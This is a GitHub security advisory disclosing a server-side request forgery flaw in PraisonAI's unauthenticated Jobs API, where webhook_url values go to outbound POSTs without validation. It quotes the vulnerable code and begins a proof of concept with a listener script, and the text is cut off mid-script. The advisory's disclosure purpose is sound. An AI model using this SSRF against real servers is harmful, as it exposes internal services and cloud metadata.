GitHub Security Advisory: GHSA-8frj-8q3m-xhgm
Package: PraisonAI (PIP)
Severity: HIGH (CVSS 7.2)
CWE: CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: < 4.5.128
Patched in: 4.5.128

Summary: PraisonAI Vulnerable to Server-Side Request Forgery via Unvalidated webhook_url in Jobs API

Details:
## Summary

The `/api/v1/runs` endpoint accepts an arbitrary `webhook_url` in the request body with no URL validation. When a submitted job completes (success or failure), the server makes an HTTP POST request to this URL using `httpx.AsyncClient`. An unauthenticated attacker can use this to make the server send POST requests to arbitrary internal or external destinations, enabling SSRF against cloud metadata services, internal APIs, and other network-adjacent services.

## Details

The vulnerability exists across the full request lifecycle:

**1. User input accepted without validation** — `models.py:32`:
```python
class JobSubmitRequest(BaseModel):
    webhook_url: Optional[str] = Field(None, description="URL to POST results when complete")
```
The field is a plain `str` with no URL validation — no scheme restriction, no host filtering.

**2. Stored directly on the Job object** — `router.py:80-86`:
```python
job = Job(
    prompt=body.prompt,
    ...
    webhook_url=body.webhook_url,
    ...
)
```

**3. Used in an outbound HTTP request** — `executor.py:385-415`:
```python
async def _send_webhook(self, job: Job):
    if not job.webhook_url:
        return
    try:
        import httpx
        payload = {
            "job_id": job.id,
            "status": job.status.value,
            "result": job.result if job.status == JobStatus.SUCCEEDED else None,
            "error": job.error if job.status == JobStatus.FAILED else None,
            ...
        }
        async with httpx.AsyncClient(timeout=30.0) as client:
            response = await client.post(
                job.webhook_url,    # <-- attacker-controlled URL
                json=payload,
                headers={"Content-Type": "application/json"}
            )
```

**4. Triggered on both success and failure paths** — `executor.py:180-205`:
```python
# Line 180-181: on success
if job.webhook_url:
    await self._send_webhook(job)

# Line 204-205: on failure
if job.webhook_url:
    await self._send_webhook(job)
```

**5. No authentication on the Jobs API server** — `server.py:82-101`:
The `create_app()` function creates a FastAPI app with CORS allowing all origins (`["*"]`) and no authentication middleware. The jobs router is mounted directly with no auth dependencies.

There is zero URL validation anywhere in the chain: no scheme check (allows `http://`, `https://`, and any scheme httpx supports), no private/internal IP filtering, and no allowlist.

## PoC

**Step 1: Start a listener to observe SSRF requests**
```bash
# In a separate terminal, start a simple HTTP listener
python3 -c "
from http.server import HTTPServer, BaseHTTPRequestHandler
import json

class Handler(BaseHTTPRequestHandler):
    def do_POST(self):
        length = int(self.headers.get('Content-Length', 0))
        body = self.rfile.read(length)
        print(f'Received POST from PraisonAI server:')
        print(json.dumps(json.loads(body), indent=2))
        self.send_response(200)
        self.end_headers()

HTTPSe